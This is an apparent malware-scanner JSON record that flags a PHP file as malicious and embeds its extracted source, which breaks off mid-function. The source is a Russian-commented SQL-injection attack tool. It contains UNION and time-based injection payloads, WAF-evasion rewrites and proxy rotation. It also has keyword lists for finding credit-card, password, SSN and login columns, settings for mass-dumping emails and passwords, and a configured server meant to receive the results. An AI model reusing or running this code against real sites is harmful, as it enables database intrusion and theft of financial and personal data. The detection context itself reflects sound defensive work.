{
  "ml": {
    "v": "4",
    "fs": [
      {
        "id": 0,
        "prob": 0.9992799162864685,
        "class": 2
      }
    ],
    "prob": 0.9992799,
    "class": 2,
    "models": [
      {
        "m": "az",
        "prob": 0.94074804,
        "class": 0
      },
      {
        "m": "az/scripts",
        "prob": 0.9823152,
        "class": 0
      },
      {
        "m": "az/php",
        "prob": 0.9992799,
        "class": 2
      }
    ],
    "version": "v16.16",
    "thresholds": [
      0.9961138,
      0.99909174
    ],
    "analyzed_at": "2026-05-09T16:43:22Z"
  },
  "path": "fack.php",
  "raw": {
    "v": "4",
    "fs": [
      {
        "f": "O₃(AsC₃Eu)H(F)Md₂",
        "k": {
          "source.imports[0]": "base64_decode",
          "source.strings[0]": "error_reporting(0);\n//error_reporting(E_ALL);\nset_time_limit(0);\n\n\n\nclass InjectorComponent {\n\t\n\tfunction __construct() {\n\t\t\n\t\t\n\t\t//parent::__construct();\n\t\t\t\n\t\t\n\t\t\n\n\t$this-\u003ecards = array('cvv','_card','cvc','card_num','card num','credit_card','card_number','cccode','expiration','card_ccv','cc_code','cc_holder','cc_type','card_exp','exp_card','exp_year','numcc','ccnum','cc_num','cc num','num_cc','number_cc','numbers_cc','creditcard');\n\t\n\t$this-\u003epasswords = array('pass','psw','pais','parol','clave','pword','contraseña','hash','mdp','heslo','lösenord','pwd','Senha','jelszo');\n\t\n\t$this-\u003elogins = array('login','logan');\n\t\n\t$this-\u003essn_dob = array('ssn','dob','social_security_number','social-security-number','socialsecuritynumber','mmn');\n\t\n\t//Ошибки которые при предварительном тестировании говорят нам что тут есть скуля, самый простой способ определения ErrorBased\n\t $this-\u003eerror_text_mysql = array('require_','file_get_contents','fopen','include(','mysql_result','mysql_fetch_array','execute query','mysql_fetch_object','mysql_num_rows','mysql_fetch_assoc','mysql_fetch_row','Fatal error','Syntax error','MySQL','at line','in your SQL syntax','Database query error');\n\t \n\t //Теже самые ошибки чуток орезанные для определния sqli инъекций в заголовках ПОСТ формах\n\t $this-\u003eerror_text_mysql_head = array('file_get_contents','fopen','mysql_result','mysql_fetch_array','execute query','mysql_fetch_object','mysql_num_rows','mysql_fetch_assoc','mysql_fetch_row','Fatal error','Syntax error','in your SQL syntax','Database query error');\n\t\n\t//'Microsoft OLE DB Provider',\n\t$this-\u003eerror_text_mssql = array('Unclosed quotation mark','Database error on page','Incorrect syntax near','Server Error in','Detailed Error','Microsoft JET Database Engine error','Syntax error (missing operator)');\n\t\n\t$this-\u003eengeen_addr = array('tube','google','act=Help','module=help','name=News','name=Pages','name=Content','option=com','option=com_content','viewtopic.php','thread.php','showtopic=','showthread.php');\n\t\n\t$this-\u003ekonec_for_chek = array('+AND+1=1','%27+AND+%27x%27=%27x','%22+AND+%22x%22=%22x');\n\n\t$this-\u003evariant_query = \n\t\tarray('1'=\u003earray(\n\t\t//array(\"1111111111111'+UNION+SELECT+\",\"+and+'0'='0\"),\n\t\tarray(\"1111111111111' UNION SELECT \",'-- +'),\n\t\tarray('1111111111111+UNION+SELECT+','+--+'),\n\t\tarray(\"1111111111111%27+UNION+SELECT+\",\"+--+/*+order+by+%27as\"),\n\t\tarray('1111111111111%22+UNION+SELECT+','+--+/*+order+by+%22as'),\n\t\t//array(\"1111111111%27+and+\",\"+and+%271%27=%271\"),\n\t\t));\n\t\t\n\t\n\t$this-\u003evariant_query_mssql = \n\t\tarray('1'=\u003earray(\n\t\tarray('1111111111111+UNION+SELECT+',''),\n\t\tarray('1111111111111+UNION+SELECT+',\"--\"),\n\t\t//array(\"1111111111%27+and+\",\"+and+%271%27=%271\")\n\t\t));\t\n\n\t\t\n\t\t\n\t$this-\u003eh_s = array(\n\t'url'=\u003e'',\n\t'referer'=\u003e'google.com',\n\t'useragent'=\u003e'mozilla',\n\t'forwarder'=\u003e'8.8.8.8',\n\t'cookies'=\u003e'User=admin\u0026;password=123\u0026;login=admin',\n\t'post_static'=\u003e'',\n\t'cookies_static'=\u003e'',\n\t'head'=\u003e'',\n\t'post'=\u003e'',\n\t'https'=\u003efalse);\t\n\t\t \n\t\n\n\t\t\n\t\t\n\t$this-\u003epaginate = array('limit' =\u003e 250,'order' =\u003e array('id' =\u003e 'desc'));\n\t$this-\u003estopword = array('trial','TRIAL','null','NULL','nul','NUL','','0','test','yes','no','not cached','RJDBP4');\n\t$this-\u003epath = array();\n\t$this-\u003ecard_dubles = array();\t\n\t$this-\u003evalid_socks = array();\n\t$this-\u003essb_dob = array();\n\t\n\t$this-\u003epreg_table = false;\n\t$this-\u003epreg_login = false;\n\t$this-\u003epreg_pass  = false;\n\t$this-\u003emysql2 = false; // для одиночного дампинга\n\t$this-\u003edefault_dirs = false;\n\t\n\t\n\t$this-\u003edomen = '';\n\t$this-\u003eshell_url = '';\n\t$this-\u003econnection ='';\n\t$this-\u003ecorp = '';\n\t$this-\u003ecorp_good = '';\n\t$this-\u003etableOrder = '';\n\t\n\t$this-\u003eshag = 15;\n\t$this-\u003eplus = 10;\n\t$this-\u003elim  = 500000;\n\t$this-\u003elim2  = 500000;\n\t$this-\u003eraz = 1000;\n\t$this-\u003edelete = 500;\n\t$this-\u003epsn = 10000;\n\t$this-\u003epid = 0;\n   \n\t\n\t$this-\u003ekeyword;  \n\t$this-\u003ekey_word; \n\t$this-\u003ekeyword_count = 0;\n\t$this-\u003emethod = false; \n\t$this-\u003ecolumn = false; \n\t$this-\u003euser = false;\n\t$this-\u003eversion = false;\n\t$this-\u003ework = false;  \n\t$this-\u003eurls = array();  \n\t$this-\u003esposob = false;\n\t$this-\u003eget_by_error = false;\n\t$this-\u003eget_by_error_leght = 0;\n\t\n\t\n\t//функции для метода TIME BASED(SLEEP)\n\t$this-\u003eid = '';\n\t$this-\u003eurl = '';\n\t$this-\u003eset = '';\n\t$this-\u003etmp = '';\n\t$this-\u003eret = array();\n\t$this-\u003ear_sql = array();\n\t$this-\u003escnd = '';\n\t$this-\u003esec ='';\n\t$this-\u003edata = array();\n\t$this-\u003esqli = array();\n\t$this-\u003earray_sql = array();\n\t$this-\u003esqli_config = array();\n\t$this-\u003edbs = '';\n\t$this-\u003etable = '';\n\t$this-\u003etables = '';\n\t$this-\u003ecount_tables = '';\n\t$this-\u003ecolumns = '';\n\t$this-\u003ecomment = '';\n\t$this-\u003esleep_check1 = true;\n\t$this-\u003esleep_check2 = false;\n\t$this-\u003esleep_metod = false;\n\t$this-\u003esleep_data = '';\n\t$this-\u003eproxy = '';\n\t$this-\u003eerror = 0;\n\t$this-\u003edesc = 0;//desc\n\t$this-\u003edesc_enable = false;\n\t$this-\u003edumpfile = false;\n\t$this-\u003enull = 0;\n\t$this-\u003emethod_old =false;//для какого метода по заливке через sleep\n\t\n\t\n\t//функции для паука\n\t$this-\u003egetform='';\n\t$this-\u003epostform='';\n\t$this-\u003eform_url = '';\n\t$this-\u003eform_host = '';\n\t$this-\u003eform_set = array();\n\t$this-\u003esleep = 1;\n\t$this-\u003etables_find = 0;\n\t$this-\u003elogging = 1;\n\t$this-\u003efile = '';\n\t$this-\u003ecrowler = false;\n\t$this-\u003ecrowler_url ='';\n\t$this-\u003el1 = array();\n\t$this-\u003el2 = array();\n\t$this-\u003el1_main = array();\n\t$this-\u003el1_google = array();\n\t$this-\u003ea1 = array();\n\t$this-\u003ea2 = array();\n\t$this-\u003efind = '';\n\t$this-\u003emssql = false;\n\t$this-\u003esitemap = false;\t\n\t$this-\u003ewhat_to_find = '';\n\t$this-\u003ebad_body = 0;\n\n\t\n\t////////////////////\n\t\n\n\t\n\t\n\t\n\t//Cлужебные функции\n\t$this-\u003ehttps = false;\n\t$this-\u003econtent_empty = 0; // если страница 2 раза отдасться пустой, то взлом прекратится, может домен не существует или что то еще.\n\t$this-\u003ehttps_check=false;//была ли пройдена проверка на https\n\t$this-\u003epost_full = false; //будущая заготовка для ПОСТ форм проверять отправкой готовых данных для руч\n   \n  \n\t\n\n\t//Функции отвечающие за прокси, лучше не использовать пробив падает на 30%\n\t$this-\u003eproxy_enable = true; //прокси если с пасом то делать ip:port:login:pass \n\t$this-\u003eproxy_url = 'proxy.txt'; //app/webroot/socks.txt СЮДА HTTP прокси имено\n\t$this-\u003eurl = \"http://picabu.ru\";   //сайт на какой чекается прокси\n\t$this-\u003eurl2 = \"http://www.msu.ru\"; //запасной сайт для чека прокси второй\n\t$this-\u003etext = \"title\"; //если такое слово найдет при заходе через прокси на сайт, то значит рабочий\n\t$this-\u003euagent = \"\"; \n\t$this-\u003ereferer = \"google.ru\";\n\t$this-\u003eproxy_check_full = true; //этот параметр отвечает за проверку проксей в более широком формате на реальном взломе как шеллы\n\t$this-\u003eproxy_url_full_check ='post::http://testphp.vulnweb.com/userinfo.php?uname=test\u0026pass=test';\t\n\t\n\t\n\t\n\t\n//////////// ДОМЕНЫ ///////////////////////\n\t$this-\u003edomen_enable=false;  // Если будете грузить чисто домены а не ссылки то ставитье TRUE, при чеке шелов они будут более тшательно проверяться -\u003eololo_domen.php\n\t$this-\u003etime_crowler = 250;   //Время выполнения POST запроса при error_finder на Удаленном шеле\n\t$this-\u003etime_eval = 120;    // Время выполнения POST запроса при тестировании на Удаленном шеле\n\t$this-\u003etimeout = 20;\n\t$this-\u003etime_sleep = 30;\n\t$this-\u003etime_sleep2 = 30;\n\t\n\t\n\t$this-\u003etime2_main = 15;//время для первой страницы\n\t$this-\u003elimit_crawler = 1000;//общее количество линком скок может пройти паук ДЛЯ СРЕДНЕГО ВЗЛОМА ЕСЛИ НУЖНО КАЧЕСТВЕННО ПРЯМ СКАНИТЬ ТО МОЖНО И 10К ПОСТАВИТЬ\n\t$this-\u003elimit_page0 = 250;// количество ссылок с первой страницы, чтобы пауку было куда бежать\n\t$this-\u003el1_main_form_slice = 20; // далее паук собер линков с главной страницы и поищем там формы.\n\t\n\t\n\t\n\t$this-\u003eserver_url = 'sup.com';//важный параметр впиште ваш IP куда будут слаться результат.\n\t//$this-\u003eserver_url  =$_SERVER['HTTP_HOST'];\n\t\n\t\n\t$this-\u003ehtaccess_auth = '';\n\t\n\t\n\t\n\t\n\t\n\t//РАБОТА с таблицей куда можно грузить много линков с одного сайта, так к примеру точно все POST формы по N штук с домена сохраняются\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t//функции отвечающие за чекинг ссылок\n\t$this-\u003eerror_limit = 5000;//проверять разом ссылок сколько в предварительном тестировании оптимально 2000-5000\n\t\n\t$this-\u003eerror_limit_post = 1;\n\t\n\t$this-\u003etable_post = 'posts_all';\n\t\n\t$this-\u003emulti_limit = 40;//уже второй шаг чек на колонки подключение к БД вывод версии, крутит долго. Можно поиграться с параметром.\n\t\n\t$this-\u003ecolumn_limit = 40; //сколько колонок проверять при подборе\n\t\n\t$this-\u003eerror_time = 100; //сколько ждать времени по отдаче с шелла при предварительном тестировании stepOne\n\t$this-\u003emulti_time = 250; //сколько ждать времени по отдаче с шелла при уже полноценном чеке, подборе колонок и прочее stepTwo, 150 ставил явно очень мало, пропуски идут\n\t\n\t\n\t\n\t\n\t\n\t\n\t//включение различных проверок\n\t$this-\u003essn_check = false; //включить поиск SSN если нужен\n\t$this-\u003ecc_check = false; //включить поиск СС\n\t$this-\u003ehead_check  =false; // включить проверять заголовки\n\t$this-\u003emssql_check =true; // включить проверку mssql В ПРОЦЕССЕ  НАПИСАНИЯ\n\t$this-\u003esearch_email = true;\n\t\n\t\n\t\n\t//для заголовков\n\t$this-\u003eheader = false; //возвращать заголовки в CURL\n\t$this-\u003ehead_enable = false; //Если идет работа с HEAD или POST формами, то в функции start не будет чекать на error\n\t$this-\u003epost_enable =false;\n\t\n\t\n\t//функции отвечают за вывод полезной информации\n\t$this-\u003elog_enable = true; // Просто вывод на страницу лайтовый, вывод sql запросов\n\t$this-\u003edebug =false;// более полный вывод иногда с полностью загруженной страницей для дебага\n\t\n\t\n\t//Функции проверки шеллов\n\t$this-\u003elocal_shells = false;//если вы будете использовать файлик для взлома на своих серверах, но вы можете размножить один и тот же файл(false), в противном случае дубли удаляться true\n\t//не забудь указать в app/webroot/local_shells   типа так http://IP/get_post.php?key=sdfadsgh4513sdGG435341FDGWWDFGDFHDFGDSFGDFSGDFG и выключить htaccess авторизацию\n\t\n\t\n\t\n\t$this-\u003edump_all_potok =3;\n\t\n\t//Методля отображения информации, обволакивает символы в ту или иную конструкцию CHAR HEX IFNULL\n\t//Ломается какой один берется наиболее оптимальный\n\t$this-\u003emethod_auto =true;//будет ломаться двумя способами по очереди, если тут включаете TRUE то тогда hex и char поставьте false\n\t$this-\u003emethod_hex = false; //для включения взлома через HEX второй ставьте FALSE работать будет или тот и ли этот \n\t$this-\u003emethod_char = false;\n\t$this-\u003emethod_ifnull = false;\n\t\n\t\n\t//Методы взлома аналог  --risk 2\n\t$this-\u003etype_sposob_union=true;\n\t$this-\u003etype_sposob_sleep=true;\n\t\n\t\n\t$this-\u003epotok_dump_one = 20000;//сколько за раз будет качать один поток, если больше этой цыфры будет база, то качать будет в 6 потоков биться\n\t\n\t$this-\u003ecard_min = 500;\n\t\n\t//Метод обработки URL --decode\n\t$this-\u003eurl_encode_auto = false;\n\t$this-\u003eurl_encode = true;\n\t\n\t\n\t\n\t\n\t\n\t\n\t//Функции отвечающие за дампинг\n\t$this-\u003emultidump_one = true; // выключить скачку мыл через одиночный дампинг\n\t$this-\u003emultidump_name_phone = false; // авматический перенос из основных таблиц найденных имен логинов телефоно в модуль автоматического дампинга и их скачка\n\n\t\n\t$this-\u003edump_one_good = false;  // Если будет TRUE то будет качать до упора мыло пасс, если false то если будет 20 пустых значений стопнет, TRUE то функции ниже не будут работать до упора будет\n\t$this-\u003eup = false;  //если включито то тоже до упора будет качать кривые битые всякие мыла. ЭТО ДЛЯ МАССОВОГО ДАМПИНГА МЫЛ И МЫЛО ПАСС\n\t$this-\u003eup_one = true;//Новый параметр для одиночного дампинга, если TRUE то будет стараться до упора выкачать\n\t\n\t\n\t$this-\u003enull_count = 300;//если отдаёт прям NULL или пасс слишком короткий или стоп слова в паролях\n\t$this-\u003ehunta=300; // c пустым ваще значением если столько будет то поток перезапуститься\n\t$this-\u003epass_empty = 1250; //с пустым пассом, если столько будет ...\n\t$this-\u003eemail_bad = 4500; //кривые мыла если будут то...\n\t$this-\u003edlina = 3500; //одинаковые по длине по мыла если идут\n\t\n\t\n\t\n\t//БЫВШИЕ настройки из таблицы settings\n\t$this-\u003epotok_one = 1;// Во сколько потоков будет качаться мыло имя, мыло телефон, мыло логин, лучше не трогать\n\t$this-\u003edump_one =0; //включить скачку просто МЫЛ, без пассов\n\t$this-\u003echeck_url = 1;\n\t$this-\u003epotok =6;\n\t$this-\u003epass = 3;\n\t\n\t$this-\u003esliv_save = true; //будут ли качаться в папку без отсеивания на дубли через БД\n\t$this-\u003esliv_pass_save = true;\n\t\n\t\n\t\n\t\n\t\n\t\n\t$this-\u003edump_all_sib = true;\n\t$this-\u003esqlmap_check = false; // ЕСЛИ ВКЛЮЧЕНА ДАННАЯ ОПЦИЯ ТО ЧЕРЕЗ ОБЫЧНЫЙ ВЗЛОМ НЕ БУДУТ ПРОВЕРЯТЬСЯ ЛИНКИ КОТОРЫЕ ПОМЕЧЕНЫ КАК НА ЧЕК ТОЛЬКО ЧЕРЕЗ SQLMAP\n\t\n\t\n\t\n\t\n\t\n\t\t//$this-\u003ed($_SERVER['DOCUMENT_ROOT'].'/config.php','config');\n\t\t\n\t}\n\t\n\t\n\t\n\t\n\t////////////////////////////////////////////////////////////////\n\t/////////////////////sleep функции для sqli() /////////////////\t\n\t////////////////////////////////////////////////////////////////\n\t\n\t\n\t\n\tfunction send_packet($packet,$type='all',$ret2='content'){\n\n\n\tif($this-\u003eproxy !=''  AND $this-\u003eproxy_enable == true)\n\t{\n\t\t\n\t\t$rand_keys = array_rand ($this-\u003eproxy);\n\t\t$s = explode(':',$this-\u003eproxy[$rand_keys]);\n\t\t$this-\u003ed($s,'sleep_send_packet');\n\t\t\n\t\t\n\t\t$this-\u003eset['uproxy']=true;\n\t\t$this-\u003eset['phost']=trim($s[0]);\n\t\t$this-\u003eset['pport'] =trim($s[1]);\n\t\t$fp=@fsockopen($this-\u003eset['phost'],$this-\u003eset['pport']);\n\t}\n\telse\n\t{ \n\t\t//$this-\u003ed('NO uproxy');\n\t\t$fp=@fsockopen($this-\u003eset['host'],80);\n\t}\n\n\t//$this-\u003ed($packet,'paket');\n\t\n\t\n\t//$this-\u003ed($this-\u003eset,'$this-\u003eset');\n\t\n\tif($fp)\n\t{\n\t\t//$this-\u003ed($this-\u003eset['host'].'  host!!');\n\t\tfwrite($fp,$packet);\n\t\tif($ret2=='time')$us['tmstrt']=time();\n\t\t$dt='';\n\t\twhile(!feof($fp))\n\t\t{\n\t\t\t$dt.=fgets($fp);\n\t\t\tstream_set_timeout($fp, 15);\n\t\t\t\n\t\t\t\n\t\t\t$info = stream_get_meta_data($fp);\n\t\t\tif($info['timed_out'])\n\t\t\t{\n\t\t\t\t//return false;\n\t\t\t\t$this-\u003eset['timeout'] = 1;\n\t\t\t}\n\t\t\t\n\t\t\tif($type=='header'){\n\n\t\t\t\tif(strpos($dt,\"\\r\\n\\r\\n\"))break;\n\t\t\t}\n\t\t}\n\t\tfclose($fp);\n\t\tif($ret2=='time')\n\t\t{\n\t\t\t$us['tmstrt']=(time()-$us['tmstrt']);\n\t\t\t$dt=$us['tmstrt'];\n\t\t}\n\t}else\n\t{\n\t\t$this-\u003ed('sleep NIHUYA NE SKACAHLOS');\n\t\t$dt=false;\n\t}\n\n\treturn $dt;\n}\n\t\n\tfunction create_packet($path,$get='',$post='',$cookie='',$headers=array()){\n\t//global $this-\u003eset;\n\n\t$tmp['Accept-Language']='en-us,en';\n\t$tmp['Accept-Charset']='utf-8,*';\n\t$tmp['Accept']='text/html,image/jpeg,image/gif,text/xml,text/plain,image/png';\n\t$tmp['User-Agent']='Opera/9.27';\n\tif(!empty($cookie))$tmp['Cookie']=$cookie;\n\tif(!empty($post)){\n\t\t$tmp['Content-Type']='application/x-www-form-urlencoded';\n\t\t$tmp['Content-Length']=strval(strlen($post));\n\t}\n\t$tmp['Host']=$this-\u003eset[\"host\"];\n\t$tmp['Connection']='close';\n\n\tforeach($headers as $key =\u003e $value){\n\t\tif(!empty($key)\u0026\u0026!empty($value))$tmp[$key]=$value;\n\t}\n\n\tif($this-\u003ehttps)\n\t{\n\t\tif(!empty($post))$header=\"POST \".$this-\u003eset[\"patch\"].$path.'?'.$get.\" HTTPS/1.0\\r\\n\";\n\t\telse $header=\"GET \".$this-\u003eset[\"path\"].$path.'?'.$get.\" HTTPS/1.0\\r\\n\";\n\t\t//$this-\u003ed($this-\u003eset[\"host\"].$this-\u003eset[\"path\"].$path.'?'.$get);\n\t}else{\n\t\tif(!empty($post))$header=\"POST \".$this-\u003eset[\"patch\"].$path.'?'.$get.\" HTTP/1.0\\r\\n\";\n\t\telse $header=\"GET \".$this-\u003eset[\"path\"].$path.'?'.$get.\" HTTP/1.0\\r\\n\";\n\t\t//$this-\u003ed($this-\u003eset[\"host\"].$this-\u003eset[\"path\"].$path.'?'.$get);\n\t}\n\t\n\t\n\t//$this-\u003ed($header,'$header');\n\t\n\t\n\t\n\tif($this-\u003ehttps){\n\t\t$this-\u003eset[\"scheme\"] = 'https';\n\t}else{\n\t\t$this-\u003eset[\"scheme\"] = 'http';\n\t}\n\t $this-\u003esqli['sqli_sleep'][] =  rawurldecode($this-\u003eset[\"scheme\"].'://'.$tmp['Host'].$this-\u003eset[\"path\"].$path.'?'.$get);\n\t \n\t $this-\u003esqli['sqli_sleep_encode'][] =  $this-\u003eset[\"scheme\"].'://'.$tmp['Host'].$this-\u003eset[\"path\"].$path.'?'.$get;\n\t \n\t\n\tforeach($tmp as $key =\u003e $value)\n\t{\n\t\t\n\t\tif(!empty($key)\u0026\u0026!empty($value))$header.=$key.': '.$value.\"\\r\\n\";\n\t\t\n\t}\n\t$header.=\"\\r\\n\";\n\n\tif(!empty($post))$header.=$post;\n\t\n\treturn $header;\n}\n\n\tfunction create_sql($sql,$cnt='',$num='',$concat=true,$type='num'){\n\n\n\t$tmp='';\n\tif(empty($cnt))$cnt=$this-\u003eset['sleep']['columns'];\n\tif(empty($num))$num=$this-\u003eset['sleep']['outp'];\n\n\tfor($i=1;$i\u003c=$cnt;$i++)\n\t{\n\n\t\tif($num!=$i)\n\t\t{\n\t\t\tif($type=='num')$tmp.=$i.',';\n\t\t\telse $tmp.='NULL,';\n\t\t}else\n\t\t{\n\t\t\tif((!empty($this-\u003eset['sleep']['hex'])) \u0026\u0026 ($this-\u003eset['sleep']['hex']) AND $this-\u003emethod_hex==false)$sql='UNHEX(HEX('.$sql.'))';\n\t\t//$sql='UNHEX(HEX('.$sql.'))';\n\t\t\tif($concat)$tmp.='CONCAT(0x6467797436,'.$sql.',0x21213566646B682121),';\n\t\t\telse $tmp.=$sql.',';\n\t\t}\n\t}\n\t\n\t\n\t//обрезаем запятую\n\t$tmp=substr($tmp,0,strlen($tmp)-1);\n\treturn $tmp;\n}\n\n\tfunction create_get($name,$value,$url=true,$dec = false){\n\n\n\t$tmp='';\n\t$tmp22='';\n\t\n\t//$this-\u003ed($name,'name');\n\t\n\t//$this-\u003ed($value,'value');\n\t\n\tforeach($this-\u003eset['query'] as $key =\u003e $val)\n\t{\n\t\n\t   //$this-\u003ed($name,'name');\n\t\n\t   if($dec)\n\t   {\t\n\t\t\tif($name!=$key)\n\t\t\t{\n\t\t\t\t$tmp.=$key.'='.$val.'\u0026';\n\t\t\t\t$tmp22.=$key.'='.$val.'\u0026';\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t$tmp.=$name.'='.($url?$value:$value).'\u0026';\n\t\t\t\t$tmp22.=$name.'='.($url?$value:$value).'\u0026';\n\t\t\t}\n\t   }else\n\t   {\n\t   \n\t\t\tif($name!=$key)\n\t\t\t{\t\n\t\t\t\t$tmp.=$key.'='.rawurlencode($val).'\u0026';\t\n\t\t\t\t$tmp22.=$key.'='.$val.'\u0026';\t\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t$tmp.=$name.'='.($url?rawurlencode($value):$value).'\u0026';\n\t\t\t\t$tmp22.=$name.'='.($url?$value:$value).'\u0026';\n\t\t\t}\t\n\t   }\n\t}\n\t\n\t//$this-\u003ed($tmp,'tmp');\n\t\n\t$tmp=substr($tmp,0,strlen($tmp)-1);\n\t$tmp22=substr($tmp22,0,strlen($tmp22)-1);\n\t$this-\u003etmp22 = $tmp22;\n\treturn $tmp;\n}\n\n\tfunction clear_sql($sql){\n\t//global $this-\u003eset,$this-\u003esec;\n\n\tif($this-\u003edumpfile==true){\n\t\t\n\t\t$sql = $this-\u003emysqlDumperFilter($sql);\n\t\t\n\t}\n\t\n\t$sql=' '.$sql;\n\t\n\tif($this-\u003eset['sleep']['flt']['tp'])\n\t{\n\t\tif(($this-\u003eset['sleep']['flt']['sp'])\u0026\u0026(!$this-\u003eset['sleep']['flt']['ed']))\n\t\t{\n\t\t\t$sql=str_replace(' ','/**/',$sql);\n\t\t\t$sql=str_replace('--/**/d','--',$sql);\n\t\t\t$sql=str_replace('/**/AND/**/','\u0026\u0026',$sql);\n\t\t\t$sql=str_replace('/**/OR/**/','||',$sql);\n\t\t}\n\n\t\tif(($this-\u003eset['sleep']['flt']['sp'])\u0026\u0026($this-\u003eset['sleep']['flt']['ed']))\n\t\t{\n\t\t\t$sql=preg_replace('/SELECT (CONCAT[\\w|\\W]+?) FROM/','SEleCT(\\1)FroM',$sql);\n\t\t\t$sql=preg_replace('/FROM ([\\w|\\W]+?) /','FroM`\\1`',$sql);\n\t\t\t$sql=preg_replace('/WHERE ([\\w\\W]+?) (LImiT [\\w|\\W]+)?/','WHerE(`\\1`)',$sql);\n\t\t}\n\n\t\tif($this-\u003eset['sleep']['flt']['an'])\n\t\t{\n\t\t\t$sql=str_replace('AND','\u0026\u0026',$sql);\n\t\t\t$sql=str_replace(' OR ',' || ',$sql);\n\t\t\t$sql=str_replace('*/OR/*','*/||/*',$sql);\n\t\t\t$sql=str_replace(\"'OR'\",\"'||'\" ,$sql);\n\t\t\t$sql=str_replace(\"OR(\",\"||(\" ,$sql);\n\t\t}\n\n\t\tif($this-\u003eset['sleep']['flt']['qt'])\n\t\t{\n\t\t\t$sql=str_replace(\"CHAR('58')\",\"CHAR('::')\",$sql);\n\t\t\t$sql=preg_replace('/\\'([\\w|\\W]+?)\\'/e','\"0x\".bin2hex(\"\\1\").\"\"',$sql);\n\t\t\t$sql=str_replace('AND','\u0026\u0026',$sql);\n\t\t\t\n\t\t\t$sql=preg_replace('/OR[^DER]/','||',$sql);\n\t\t}\n\t}\n\n\tif(!$this-\u003eset['sleep']['flt']['sl'])$sql=str_replace('SLEEP('.$this-\u003esec.')','BENCHMARK(2999999,MD5(NOW()))',$sql);\n\tif($this-\u003eset['sleep']['flt']['nl'])$sql=chr(0).$sql;\n\tif($this-\u003eset['sleep']['flt']['sq'])$sql=\"'\".$sql;\n\t$sql=$this-\u003eret['sleep']['val'].$sql;\n\treturn $sql;\n}\n\n\tfunction send_sql($sql,$parse=true,$debug=false){\n\t\n\t\n\t\n\t$tmp= $this-\u003eclear_sql('AND 1=2'.$this-\u003eset['sleep']['scb'].' uNiON all '.$sql.$this-\u003eset['sleep']['coment']);\n\tif($this-\u003edebug==true){$this-\u003ed($tmp,'clear_sql');}\n\t\n\t\n\t$tmp=$this-\u003ecreate_get($this-\u003eret['sleep']['key'],$tmp);\n\tif($this-\u003edebug==true){$this-\u003ed($this-\u003eset['full'].$tmp,'set[full]+create_get');}\n\t//if($this-\u003edebug==true){$this-\u003ed($this-\u003eset['full'].$this-\u003etmp22,'tmp22');}\n\t\n\t\n\t//exit;\n\t\n\tif($debug)return $tmp;\n\t\n\t$kkk = $this-\u003ecreate_packet('',$tmp);\n\t\n\t$tmp=$this-\u003esend_packet($kkk);\n\t//$this-\u003ed($tmp,'send');\n\t\n\t//file_put_contents('./file_sleep.txt',$tmp);\n\t//exit;\n\t\t\n\tif($parse)\n\t{\n\t\tif(preg_match('/dgyt6([\\w|\\W]+?)!!5fdkh!!/',$tmp,$mth))\treturn $mth[1];\n\t\telse return false;\n\t}\n\t\n\treturn $tmp;\n}\n\n\tfunction parse_link($link){\n\n\t$tmp=parse_url($link);\n\tparse_str($tmp['query'],$tmp['query']);\n\treturn $tmp;\n}\n\n\tfunction GetBetween($content){//EB вычисляет, что находится между тэгов\n    $r = explode(\":oyu:\", $content);\n    if (isset($r[1])){\n        $r = explode(\":phz:\", $r[1]);\n        return $r[0];\n  }\n  return''; \n}\n\t\n\t//////////////////////////////////////////////////////////////////////////\t\n\t\n\t\n\t\n\t\n\t////////////////////////////////////////////////////////////////\n\t/////////////////////БАЗОВЫЕ ДЛЯ ЗАПРОСОВ MSSQL/////////////////\n\t////////////////////////////////////////////////////////////////\n\t\n\tfunction mssqlGetValue($pole){//общая функция для MSSQL\n\t\t\n\t\t\n\t\tif($this-\u003emethod==3)\n\t\t{\n\t\t\t//$this-\u003ed('tochka: method==10 SLEEP mysqlGetValueSleep');\n\t\t\t$get = $this-\u003emssqlGetError($pole);\n\t\t\tif($get!==false)return $get;\n\t\t\treturn false;\n\n\t\t}\n\t\t\n\t\t\n\t\t$method = $this-\u003esposob;\n\t\t\n\t\t//$this-\u003ed($method,'$method = $this-\u003esposob');\n\n\t\t\t\t\t\t\t\n\t\t$n = $this-\u003evariant_query_mssql[$this-\u003esposob][$this-\u003emethod][0];//начало запроса\n\t\t$k = $this-\u003evariant_query_mssql[$this-\u003esposob][$this-\u003emethod][1];//конец  запроса\n\t\t\n\t\t//$this-\u003ed($n,'начало запроса');\n\t\t//$this-\u003ed($k,'конец  запроса');\n\t\t\n\t\t//$this-\u003ed($this-\u003ecolumn,'$this-\u003ecolumn');\n\t\t//$this-\u003ed($this-\u003ework,'$this-\u003ework');\n\t\t\n\t\n\t\t$query = \"1111111111111$n\";//начальный запрос для НЕ sleep\n\t\t$query_mssql = \"1111111111111$n\";//начальный запрос для НЕ sleep\n\t\t\n\t\t\t\n\t\n\t\t\t\t\t\t\n\t\n\t\tif(!is_array($pole))$pole = array($pole);//это как раз наш запрос version к примеру\n\t\t\n\t\t$zapr = '';//общая строка для наших полей\n\t\t \n\t\t//обволакиваем его спец символами, чтобы патом найти можно было бы\n\t\tforeach ($pole as $key=\u003e$val)\n\t\t{\n\t  \t\n\t\t \tif(count($pole)==1)\n\t\t\t{\n\t\t\t\t//если одно поле\n\t\t \t\t//$zapr .= 'CHAR('.$this-\u003echarcher('[X]').')'.','.$val.',CHAR('.$this-\u003echarcher('[XX]').')';\n\t\t\t\t\n\t\t\t\t$ku1 = $this-\u003echarcher_mssql('[X]');\n\t\t\t\t$ku2 = $this-\u003echarcher_mssql('[XX]');\n\t\n\t\t\t\t$zapr_mssql .=$ku1.'+'.$val.'+'.$ku2;\n\t\t \t\t\n\t\t \t}else\n\t\t\t{\n\t\t\t\t//если несколько найти надо\n\t\t \t\t//$zapr .= ',CHAR('.$this-\u003echarcher('['.$val.']').')'.','.$val.',CHAR('.$this-\u003echarcher('['.$val.']').')';\n\t\t\t\t\n\t\t\t\t\n\t\t \t}\n\t  \t\n\t\t}\n\t\t\n\t\t//$this-\u003ed($zapr,'final $zapr');\n\t\t$this-\u003ed($zapr_mssql,'final $zapr_mssql');\n\t\t$zapr_mssql = urlencode($zapr_mssql);//url кодируем символы\n\t\t//$this-\u003ed($zapr_mssql,'final $zapr_mssql ENCODE');\n\n\n\t\t $work_count = count($this-\u003ework);//рабочие поля где вывод есть\n\t\t\n\t\t $new = array(); // Что на выходе\n\n\t\t $give = 0;\n\t\t \n\t\t \n\t\t //подставляем колонки\n\t\t 